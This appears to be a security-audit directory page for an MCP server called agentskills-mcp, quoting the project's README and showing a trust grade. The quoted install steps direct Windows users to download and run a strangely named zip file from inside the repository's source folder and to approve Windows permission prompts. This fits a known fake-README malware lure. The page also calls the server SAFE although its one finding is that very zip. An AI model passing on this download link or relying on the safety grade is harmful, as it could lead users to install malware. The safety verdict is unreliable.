agentskills-mcpSAFE
Search, read, and download curated agent skills via MCP for fast discovery and local use in agent workflows
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/githubskillsmcp/mcpagentskillscrutched.zip)
🚀 What this app does
agentskills-mcp is a FastMCP server that helps you find and install agent skills from large GitHub skill collections. It also lets you add more skill sources later.
Use it when you want one place to browse skills, pull in the ones you need, and keep your setup organized. It fits users who work with AI agents, local tools, or model context protocol apps.
📥 Download and install on Windows
- Open this page: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
- On the GitHub page, look for the latest release or the main project files.
- Download the Windows version if one is provided, or get the source package from the repository page.
- Save the file to your Downloads folder.
- If the download comes as a zip file, right-click it and choose Extract All.
- Open the extracted folder.
- Follow the run steps listed in the project files, such as a README or launch script.
- If Windows asks for permission, choose Yes.
If the project is delivered as source files, you may need Python installed on your PC before you run it. If it comes with a ready-to-run file, you can open it like any normal app.
🖥️ What you need
- Windows 10 or Windows 11
- A stable internet connection
- Enough free space for the app and skill files
- Python 3.10 or later if you run from source
- Git if you want to copy the project from the repository
For best results, use an account that can install apps and save files in your user folder.
🧭 First-time setup
- Download the
63639f155c5eOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add pinkpixel-agentskills-mcp --env GITHUB_TOKEN=${GITHUB_TOKEN} -- uvx pinkpixel-agentskills-mcp{
"mcpServers": {
"pinkpixel-agentskills-mcp": {
"command": "uvx",
"args": [
"pinkpixel-agentskills-mcp"
],
"env": {
"GITHUB_TOKEN": "${GITHUB_TOKEN}"
}
}
}
}Exposed tools (5)
3 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
github_skills_get_skill | read | Fetch the key files for a specific skill directory from GitHub. |
github_skills_install_skill | write | Download a skill directory from GitHub into a local folder. |
github_skills_list_repositories | read | List the GitHub skill repositories configured for this MCP server. |
github_skills_search_skills | read | Search skill directories by matching the query against skill names and paths. |
github_skills_suggest_skill_scaffold | write | Create a grounded starter scaffold for a new skill using the closest existing skills as examples. |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (1)
mcp_agentskills_crutched.zip
Gates applied: no_behavioural_pass.
63639f155c5efull audit observations/trust-audit/mcp-server/drhir2460__agentskills-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 63639f155c5e | SAFE | B | 89 | first audit |
Questions
What is the agentskills-mcp MCP server?
Search, read, and download curated agent skills via MCP for fast discovery and local use in agent workflows
What tools does agentskills-mcp expose?
5 in total: 3 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is agentskills-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does agentskills-mcp need?
It reads GITHUB_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (63639f155c5e), read on 2026-10-11. The repository is watched and re-audited when it changes.